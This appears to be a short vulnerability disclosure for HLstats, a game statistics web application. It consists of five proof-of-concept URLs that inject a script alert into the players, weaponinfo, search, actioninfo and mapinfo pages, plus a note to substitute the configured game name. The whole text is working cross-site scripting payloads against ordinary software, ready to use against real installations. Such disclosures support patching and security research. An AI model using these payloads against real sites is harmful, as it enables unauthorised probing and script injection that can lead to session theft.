http://www.example.com/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/script%3E
http://www.example.com/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://www.example.com/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://www.example.com/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://www.example.com/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc

(instead of 'tfc' you should use the game, HLstats is configurated 
for)